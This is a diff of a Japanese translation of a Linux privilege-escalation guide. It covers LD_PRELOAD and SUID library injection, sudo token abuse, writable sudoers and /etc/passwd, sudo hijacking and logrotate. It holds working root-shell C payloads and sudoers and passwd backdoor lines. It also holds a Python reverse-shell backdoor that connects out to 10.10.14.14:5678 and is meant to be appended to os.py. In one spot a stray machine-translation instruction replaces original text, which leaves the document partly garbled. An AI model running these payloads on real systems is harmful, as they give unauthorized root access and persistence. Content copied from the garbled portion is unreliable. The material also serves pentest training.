LD_PRELOAD & LD_LIBRARY_PATH -**LD\_PRELOAD**環境変数は、標準Cライブラリ(`libc.so`)を含む他のすべてのライブラリよりも前に、1つ以上の共有ライブラリ(.soファイル)をローダーによって読み込むよう指定するために使用されます。このプロセスは、ライブラリのプリロードとして知られています。 +**LD_PRELOAD**環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ(`libc.so`)を含むすべてのライブラリよりも前に読み込まれる1つ以上の共有ライブラリ(.soファイル)を指定するために使用されます。このプロセスは、ライブラリのプリロードとして知られています。 ただし、システムセキュリティを維持し、特に**suid/sgid**実行可能ファイルでこの機能が悪用されるのを防ぐために、システムは特定の条件を強制します: -- ローダーは、実ユーザーID(_ruid_)が有効ユーザーID(_euid_)と一致しない実行可能ファイルに対して**LD\_PRELOAD**を無視します。 +- ローダーは、実ユーザーID(_ruid_)が有効ユーザーID(_euid_)と一致しない実行可能ファイルでは、**LD_PRELOAD**を無視します。 - suid/sgidを持つ実行可能ファイルの場合、標準パスにあるかつsuid/sgidであるライブラリのみがプリロードされます。 -特権昇格は、`sudo`でコマンドを実行できる権限がある場合、かつ`sudo -l`の出力に**env\_keep+=LD\_PRELOAD**ステートメントが含まれている場合に発生する可能性があります。この構成により、**LD\_PRELOAD**環境変数が永続化され、`sudo`でコマンドが実行されている場合でも認識されるようになり、特権を昇格させた状態で任意のコードが実行される可能性があります。 +特権昇格は、`sudo`でコマンドを実行できる権限がある場合、および`sudo -l`の出力に**env_keep+=LD_PRELOAD**ステートメントが含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD**環境変数が永続化され、`sudo`でコマンドが実行されている場合でも認識され、特権を昇格させた状態で任意のコードが実行される可能性があります。 ``` Defaults env_keep += LD_PRELOAD ``` -**/tmp/pe.c**として保存します。 +保存先を **/tmp/pe.c** としてください。 ```c #include #include @@ -827,12 +823,12 @@ setuid(0); system("/bin/bash"); } ``` -その後、次のように**コンパイル**してください: +その後、次のコマンドを使用して**コンパイル**してください: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最後に、**特権を昇格**して実行します。 +最終的に、**特権を昇格**して実行します。 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` @@ -860,7 +856,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID バイナリ – .so インジェクション -SUID 権限を持つバイナリが異常に見える場合、.so ファイルを適切に読み込んでいるかどうかを確認するのが良い習慣です。次のコマンドを実行して確認できます: +SUID 権限を持つバイナリが異常に見える場合、.so ファイルを適切に読み込んでいるかどうかを確認するのは良い習慣です。次のコマンドを実行して確認できます: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -895,7 +891,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -今、私たちが書き込み可能なフォルダからライブラリを読み込むSUIDバイナリを見つけたので、そのフォルダに必要な名前のライブラリを作成しましょう: +以下は、Linuxハードニング/特権昇格/README.mdファイルからのコンテンツです。該当する英語のテキストを日本語に翻訳してください。MarkdownとHTMLの構文をそのまま保持したまま翻訳してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名(Workspace、aws、gcpなど)、'leak'、pentesting、およびMarkdownタグなどは翻訳しないでください。また、翻訳とMarkdown構文以外の追加は行わないでください。 ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -908,7 +904,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -もし次のようなエラーが表示された場合 +もし次のようなエラーが表示された場合、 ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -916,9 +912,9 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルセキュリティ制限をバイパスするために悪用できるUnixバイナリの厳選されたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) も同様ですが、コマンドに引数のみをインジェクトできる場合に使用されます。 +[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルセキュリティ制限をバイパスするために悪用できるUnixバイナリの厳選されたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) も同様ですが、コマンドに**引数のみをインジェクト**できる場合に使用します。 -このプロジェクトは、Unixバイナリの正当な機能を収集し、制限されたシェルから脱出したり、特権を昇格したり、昇格した権限を維持したり、ファイルを転送したり、バインドシェルやリバースシェルを生成したり、他のポストエクスプロイテーションタスクを容易にするために悪用できるものです。 +このプロジェクトは、Unixバイナリの正当な機能を収集し、制限されたシェルから脱出したり、特権を昇格したり、昇格した権限を維持したり、ファイルを転送したり、バインドシェルやリバースシェルを生成したり、他のポストエクスプロイテーションタスクを容易にすることができます。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -931,7 +927,7 @@ system("/bin/bash -p"); ### FallOfSudo -`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、どのようにしてsudoルールを悪用できるかを確認できます。 +`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、どのようにして任意のsudoルールを悪用できるかを確認できます。 ### Sudoトークンの再利用 @@ -939,22 +935,22 @@ system("/bin/bash -p"); 特権昇格の要件: -* ユーザー "_sampleuser_" としてシェルにアクセスしている -* "_sampleuser_" が**最後の15分間**に`sudo`を使用して何かを実行している(デフォルトでは、パスワードを入力せずに`sudo`を使用できるsudoトークンの有効期間) +* ユーザー "_sampleuser_" としてシェルが既にある +* "_sampleuser_" が**最後の15分間に`sudo`を使用**して何かを実行している(デフォルトでは、パスワードを入力せずに`sudo`を使用できるsudoトークンの有効期間) * `cat /proc/sys/kernel/yama/ptrace_scope` が0である * `gdb` にアクセスできる(アップロードできる) -(一時的に `ptrace_scope` を有効にするには、`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を使用するか、`/etc/sysctl.d/10-ptrace.conf` を変更して `kernel.yama.ptrace_scope = 0` と設定します) +(一時的に `ptrace_scope` を有効にするには、`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を使用するか、`/etc/sysctl.d/10-ptrace.conf` を変更して `kernel.yama.ptrace_scope = 0` に設定します) これらの要件をすべて満たしている場合、**次のリンクを使用して特権を昇格できます:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject) -* **最初のエクスプロイト** (`exploit.sh`) は、`/tmp/` に `activate_sudo_token` というバイナリを作成します。これを使用して、セッションでsudoトークンを**アクティブ化**できます(自動的にルートシェルを取得するわけではないので、`sudo su` を実行してください): +* **最初のエクスプロイト** (`exploit.sh`) は、`/tmp/` に `activate_sudo_token` というバイナリを作成します。これを使用して、セッションでsudoトークンを**アクティブ化**できます(自動的にルートシェルは取得できません、`sudo su` を実行してください): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -* **第2のエクスプロイト** (`exploit_v2.sh`) は、`/tmp` に所有者が root で setuid が設定された sh シェルを作成します。 +* **第二のエクスプロイト** (`exploit_v2.sh`) は、`/tmp` に所有者が root で setuid が設定された sh シェルを作成します ```bash bash exploit_v2.sh /tmp/sh -p @@ -966,20 +962,20 @@ sudo su ``` ### /var/run/sudo/ts/\<ユーザー名> -もし、そのフォルダやフォルダ内で作成されたファイルの**書き込み権限**がある場合、バイナリ[**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools)を使用して**ユーザーとPID用のsudoトークンを作成**できます。\ -例えば、_sampleuser_というファイルを上書きでき、PIDが1234のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても、次のように**sudo権限を取得**できます: +フォルダー内またはフォルダー内の作成されたファイルのいずれかに **書き込み権限** がある場合、バイナリ [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) を使用して **ユーザーとPID用のsudoトークンを作成** できます。\ +たとえば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、PID 1234 のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても、次の操作を行うことで **sudo権限を取得** できます: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -ファイル `/etc/sudoers` および `/etc/sudoers.d` 内のファイルは、`sudo` を使用できるユーザーと方法を設定します。これらのファイルは**デフォルトでユーザー root およびグループ root だけが読み取れます**。\ -このファイルを**読み取る**ことができれば、**興味深い情報を入手**できるかもしれません。また、ファイルを**書き込む**ことができれば、**特権を昇格**できます。 +ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、`sudo` をどのように使用できるかを設定します。これらのファイルは**デフォルトでユーザー root とグループ root だけが読むことができます**。\ +もし、このファイルを**読む**ことができれば、**興味深い情報を入手**できるかもしれません。そして、もしファイルを**書き込む**ことができれば、**特権を昇格**することができます。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -書き込み権限があれば、この権限を悪用することができます。 +もし書き込み権限があれば、この権限を悪用することができます。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -993,17 +989,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo`バイナリの代替として`doas`などがあります。OpenBSDの場合は、その設定を`/etc/doas.conf`で確認してください。 +`sudo`バイナリの代替として`doas`などがあります。OpenBSD用の`doas.conf`の設定を確認してください。 ``` permit nopass demo as root cmd vim ``` ### Sudoハイジャック -もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っている場合、そのユーザーコンテキスト内でシェルを取得したら、**新しいsudo実行ファイル**を作成して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行することができます。その後、ユーザーコンテキストの$PATHを変更します(たとえば、.bash\_profileに新しいパスを追加する)ので、ユーザーがsudoを実行すると、あなたのsudo実行ファイルが実行されます。 +**ユーザーが通常マシンに接続して`sudo`を使用**して特権を昇格させることを知っている場合、そのユーザーコンテキスト内でシェルを取得したら、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行することができます。その後、ユーザーコンテキストの$PATHを変更します(たとえば、.bash\_profileに新しいパスを追加)ので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。 -ユーザーがbash以外の異なるシェルを使用している場合は、新しいパスを追加するために他のファイルを変更する必要があります。たとえば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc`、`~/.zshrc`、`~/.bash_profile`を変更します。[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)に別の例があります。 +ユーザーが異なるシェル(bash以外)を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があります。たとえば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc`、`~/.zshrc`、`~/.bash_profile`を変更します。[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)に別の例があります。 -または、次のようなものを実行することもできます: +または、次のように実行します: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -`/var/tmp/flag15/`にライブラリをコピーすることで、`RPATH`変数で指定された場所にプログラムによって使用されます。 +`/var/tmp/flag15/`にlibをコピーすることで、`RPATH`変数で指定された場所にあるプログラムによって使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1053,8 +1049,6 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -## 特権昇格 - 次に、`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使用して、`/var/tmp`に悪意のあるライブラリを作成します。 ```c #include @@ -1070,8 +1064,8 @@ execve(file,argv,0); ``` ## 機能 -Linuxの機能は、プロセスに利用可能なルート権限の**サブセット**を提供します。これにより、ルート権限が**小さな独立したユニット**に分割されます。これらのユニットのそれぞれをプロセスに独立して付与できます。これにより、特権の完全なセットが削減され、悪用のリスクが低下します。\ -**機能について詳しく学び、その悪用方法について学ぶ**には、以下のページを読んでください: +Linuxの機能は、**プロセスに利用可能なルート権限の一部を提供**します。これにより、ルート**権限がより小さな独立した単位に分割**されます。これらの単位のそれぞれをプロセスに独立して付与できます。これにより、特権の完全なセットが削減され、悪用のリスクが低下します。\ +**機能について詳しく学ぶ**には、次のページを読んでください: {% content-ref url="linux-capabilities.md" %} [linux-capabilities.md](linux-capabilities.md) @@ -1084,9 +1078,9 @@ Linuxの機能は、プロセスに利用可能なルート権限の**サブセ ## ACL(アクセス制御リスト) -アクセス制御リスト(ACL)は、伝統的なugo/rwx権限を**オーバーライド**できる二次的な任意の権限を表します。これらの権限により、ファイルやディレクトリへのアクセスをより細かく制御でき、所有者やグループの一部でない特定のユーザーに権利を許可または拒否できます。この**細かい粒度**により、より正確なアクセス管理が確保されます。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。 +アクセス制御リスト(ACL)は、伝統的なugo/rwx権限を**オーバーライド**できる二次的な任意の権限を表します。これらの権限により、ファイルやディレクトリへのアクセスをより細かく制御でき、所有者やグループの一部ではない特定のユーザーに権利を許可または拒否できます。この**細かい粒度**により、より正確なアクセス管理が確保されます。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。 -**ユーザー"kali"**にファイルへの**読み取りと書き込み権限**を与える: +**ユーザー"kali"**にファイルへの読み取りと書き込み権限を**付与**します: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1097,10 +1091,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## オープンシェルセッション +## シェルセッションを開く -**古いバージョン**では、別のユーザー(**root**)の一部の**シェルセッションを乗っ取る**ことができます。\ -**最新バージョン**では、**自分のユーザー**のスクリーンセッションにのみ**接続**できます。ただし、**セッション内に興味深い情報を見つける**ことができます。 +**古いバージョン**では、異なるユーザー(**root**)の**シェル**セッションを**乗っ取る**ことができるかもしれません。\ +**最新バージョン**では、**自分のユーザー**のスクリーンセッションにのみ**接続**できます。ただし、**セッション内に興味深い情報**が見つかるかもしれません。 ### スクリーンセッションの乗っ取り @@ -1109,9 +1103,9 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null screen -ls screen -ls / # Show another user' screen sessions ``` -**セッションにアタッチ** +![](<../../.gitbook/assets/image (141).png>) -![](<../../.gitbook/assets/image (138).png>) +**セッションにアタッチ** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1127,7 +1121,7 @@ tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` -![](<../../.gitbook/assets/image (834).png>) +![](<../../.gitbook/assets/image (837).png>) **セッションにアタッチする** ```bash @@ -1139,31 +1133,33 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` +**HTBのValentineボックス**を確認してください。 + ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Debianベースのシステム(Ubuntu、Kubuntuなど)で2006年9月から2008年5月13日までに生成されたすべてのSSLおよびSSHキーは、このバグの影響を受ける可能性があります。\ -このバグは、これらのOSで新しいsshキーを作成する際に発生します。**32,768のバリエーションのみが可能**であるため、すべての可能性を計算でき、**sshの公開鍵を持っていると対応する秘密鍵を検索できます**。計算された可能性はこちらで見つけることができます:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +このバグは、これらのOSで新しいsshキーを作成する際に発生します。**32,768のバリエーションのみが可能**であるため、すべての可能性を計算でき、**ssh公開鍵を持っていると対応する秘密鍵を検索できます**。計算された可能性はこちらで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSHの興味深い構成値 -- **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは `no` です。 -- **PubkeyAuthentication:** 公開鍵認証が許可されているかどうかを指定します。デフォルトは `yes` です。 -- **PermitEmptyPasswords**: パスワード認証が許可されている場合、サーバーが空のパスワード文字列でのアカウントへのログインを許可するかどうかを指定します。デフォルトは `no` です。 +* **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは `no` です。 +* **PubkeyAuthentication:** 公開鍵認証が許可されているかどうかを指定します。デフォルトは `yes` です。 +* **PermitEmptyPasswords**: パスワード認証が許可されている場合、サーバーが空のパスワード文字列でのアカウントへのログインを許可するかどうかを指定します。デフォルトは `no` です。 ### PermitRootLogin -rootがsshを使用してログインできるかどうかを指定します。デフォルトは `no` です。可能な値: +rootがsshを使用してログインできるかどうかを指定します。デフォルトは `no` です。可能な値: -- `yes`: rootはパスワードと秘密鍵を使用してログインできます -- `without-password`または`prohibit-password`: rootは秘密鍵のみを使用してログインできます -- `forced-commands-only`: Rootは、プライベートキーを使用してログインし、コマンドオプションが指定されている場合のみログインできます -- `no` : いいえ +* `yes`: rootはパスワードと秘密鍵を使用してログインできます +* `without-password`または`prohibit-password`: rootは秘密鍵のみを使用してログインできます +* `forced-commands-only`: Rootは、プライベートキーを使用してログインし、コマンドオプションが指定されている場合のみログインできます +* `no` : いいえ ### AuthorizedKeysFile -ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。**絶対パス**(`/`で始まる)または**ユーザーのホームからの相対パス**を示すことができます。例: +ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含めることができます。これはホームディレクトリに置き換えられます。**絶対パス**(`/`で始まる)または**ユーザーのホームからの相対パス**を示すことができます。例: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1171,19 +1167,19 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -SSH エージェント転送を使用すると、サーバーに鍵(パスフレーズなしで)を置いたままにする代わりに、**ローカルの SSH キーを使用**できます。そのため、ssh 経由で**ホストにジャンプ**し、そこから**初期ホストにある鍵を使用して**別のホストに**ジャンプ**できます。 +SSH エージェント転送を使用すると、サーバーに鍵(パスフレーズなし!)を置いたままにする代わりに、**ローカルの SSH キーを使用**できます。そのため、ssh 経由で**ホストにジャンプ**し、そこから**別のホストにジャンプ**して、**初期ホスト**にある**鍵**を使用できます。 このオプションを `$HOME/.ssh.config` に次のように設定する必要があります: ``` Host example.com ForwardAgent yes ``` -`Host` が `*` の場合、ユーザーが別のマシンに移動するたびに、そのホストは鍵にアクセスできるようになります(これはセキュリティ上の問題です)。 +注意してください。`Host` が `*` の場合、ユーザーが別のマシンに移動するたびに、そのホストはキーにアクセスできるようになります(これはセキュリティ上の問題です)。 -ファイル `/etc/ssh_config` はこの **オプションを上書き** して、この構成を許可または拒否できます。\ +ファイル `/etc/ssh_config` はこの **オプションを上書き** して、この構成を許可または拒否することができます。\ ファイル `/etc/sshd_config` は `AllowAgentForwarding` キーワードで ssh エージェントの転送を **許可** または **拒否** できます(デフォルトは許可)。 -環境で Forward Agent が構成されていることがわかった場合は、以下のページを読んでください。**特権昇格に悪用できる可能性** があります: +環境で Forward Agent が構成されていることがわかった場合は、以下のページを読んでください。**特権昇格を悪用できる可能性があります**: {% content-ref url="ssh-forward-agent-exploitation.md" %} [ssh-forward-agent-exploitation.md](ssh-forward-agent-exploitation.md) @@ -1193,26 +1189,26 @@ ForwardAgent yes ### プロファイルファイル -ファイル `/etc/profile` および `/etc/profile.d/` 内のファイルは、**ユーザーが新しいシェルを実行したときに実行されるスクリプト** です。したがって、これらのいずれかを **書き込むか変更できれば特権昇格** できます。 +ファイル `/etc/profile` および `/etc/profile.d/` 内のファイルは、ユーザーが新しいシェルを実行したときに実行される **スクリプト** です。したがって、これらのいずれかを **書き込むか変更することができれば、特権を昇格** できます。 ```bash ls -l /etc/profile /etc/profile.d/ ``` ### パスワード/シャドウファイル -OSによっては、`/etc/passwd`および`/etc/shadow`ファイルが異なる名前を使用しているか、バックアップがあるかもしれません。したがって、**それらをすべて見つけ**、それらを読み取れるかどうかをチェックして、ファイル内にハッシュがあるかどうかを確認することが推奨されています。 +OSによっては、`/etc/passwd`および`/etc/shadow`ファイルが異なる名前を使用しているか、バックアップがあるかもしれません。したがって、**それらをすべて見つけ**、それらを読み取れるかどうかを**チェック**して、ファイル内に**ハッシュがあるかどうか**を確認することが推奨されています。 ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -時々、`/etc/passwd`(または同等の)ファイル内に**パスワードハッシュ**が見つかることがあります。 +いくつかの場合、`/etc/passwd`(または同等の)ファイル内に**パスワードハッシュ**を見つけることができます。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### 書き込み可能な /etc/passwd +### Writable /etc/passwd -まず、次のコマンドのいずれかを使用してパスワードを生成します。 +最初に、次のコマンドのいずれかを使用してパスワードを生成します。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker @@ -1232,24 +1228,24 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -**注意:** BSDプラットフォームでは、`/etc/passwd`は`/etc/pwd.db`および`/etc/master.passwd`にあり、`/etc/shadow`は`/etc/spwd.db`に名前が変更されています。 +**注意:** BSDプラットフォームでは、`/etc/passwd` は `/etc/pwd.db` および `/etc/master.passwd` にあり、`/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 あなたが**いくつかの機密ファイルに書き込めるかどうか**を確認すべきです。たとえば、**サービス構成ファイル**に書き込めますか? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例えば、マシンが**tomcat**サーバーを実行しており、**/etc/systemd/**内のTomcatサービス構成ファイルを変更できる場合、次の行を変更できます: +例えば、マシンが**tomcat**サーバーを実行しており、**/etc/systemd/**内のTomcatサービス構成ファイルを変更できる場合は、次の行を変更できます: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -次回Tomcatが起動されると、あなたのバックドアが実行されます。 +あなたのバックドアは、次にtomcatが起動されるときに実行されます。 ### フォルダのチェック -次のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(おそらく最後のものは読めないかもしれませんが、試してみてください) +次のフォルダにはバックアップや興味深い情報が含まれているかもしれません: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(おそらく最後のものは読めないかもしれませんが、試してみてください) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1270,7 +1266,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 直近の数分間に変更されたファイル +### 最後の数分で変更されたファイル ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1286,7 +1282,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATHにあるスクリプト/バイナリ** +### **PATH にあるスクリプト/バイナリ** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1304,18 +1300,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### パスワードを含む既知のファイル -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読み、**パスワードを含む可能性のある複数のファイル**を検索します。\ +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読み、**複数のパスワードを含む可能性のあるファイル**を検索します。\ これを行うために使用できる**別の興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)です。これは、Windows、Linux、Mac上に保存されている多くのパスワードを取得するために使用されるオープンソースアプリケーションです。 ### ログ -ログを読むことができれば、**それらの中に興味深い/機密情報を見つけることができる**かもしれません。ログがより奇妙であればあるほど、それはより興味深いでしょう(おそらく)。\ -また、一部の「**悪意のある**」設定された(バックドアがあるかもしれない?)**監査ログ**は、この投稿で説明されているように、監査ログ内に**パスワードを記録**することを許可するかもしれません: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/) +ログを読むことができれば、**それらの中に興味深い/機密情報を見つけることができる**かもしれません。ログがより奇妙であればあるほど、それはより興味深いものになるでしょう(おそらく)。\ +また、一部の「**悪質な**」構成された(バックドアがある?)**監査ログ**は、この投稿で説明されているように、監査ログ内に**パスワードを記録**することを許可するかもしれません: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -**ログを読むためには、グループ** [**adm**](interesting-groups-linux-pe/#adm-group) **を本当に役立ちます。** +**ログを読むためには**、[**adm**](interesting-groups-linux-pe/#adm-group) **グループ**が本当に役立ちます。 ### シェルファイル ```bash @@ -1330,22 +1326,22 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### 一般的な資格情報検索/正規表現 -ファイル名や内容に単語 "**password**" を含むファイルをチェックし、ログ内のIPやメールアドレス、ハッシュの正規表現を検索する必要があります。\ -これらの手法の実施方法はここに記載しませんが、興味がある場合は、[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) が実行する最後のチェックを確認できます。 +ファイル名やコンテンツ内に単語 "**password**" を含むファイルをチェックし、ログ内のIPやメールアドレス、ハッシュの正規表現もチェックすべきです。\ +これらのすべての方法をここで説明するつもりはありませんが、興味がある場合は、[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) が実行する最後のチェックを確認できます。 ## 書き込み可能なファイル ### Pythonライブラリの乗っ取り -Pythonスクリプトが実行される**場所**を把握しており、そのフォルダに書き込み権限があるか、Pythonライブラリを**変更できる**場合、OSライブラリを変更してバックドアを設置できます(Pythonスクリプトが実行される場所に書き込み権限がある場合、os.pyライブラリをコピーして貼り付けてください)。 +Pythonスクリプトが実行される**場所**がわかっており、そのフォルダに書き込み権限があるか、Pythonライブラリを**変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができます(Pythonスクリプトが実行される場所に書き込み権限がある場合、os.pyライブラリをコピーして貼り付けてください)。 -ライブラリにバックドアを設置するには、os.pyライブラリの最後に次の行を追加します(IPとPORTを変更してください): +ライブラリにバックドアを仕掛けるには、os.pyライブラリの最後に次の行を追加します(IPとPORTを変更してください): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotateの悪用 -`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格する可能性があります。これは、`logrotate`が**root**として実行されることが多いため、特に_**/etc/bash\_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。_**/var/log**_だけでなく、ログのローテーションが適用されているすべてのディレクトリのアクセス権限を確認することが重要です。 +`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格する可能性があります。これは、`logrotate`が**root**として実行されることが多いため、特に_**/etc/bash\_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるからです。_**/var/log**_だけでなく、ログのローテーションが適用されているすべてのディレクトリのアクセス権限を確認することが重要です。 {% hint style="info" %} この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前に影響します @@ -1353,9 +1349,9 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s この脆弱性に関する詳細情報は、次のページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 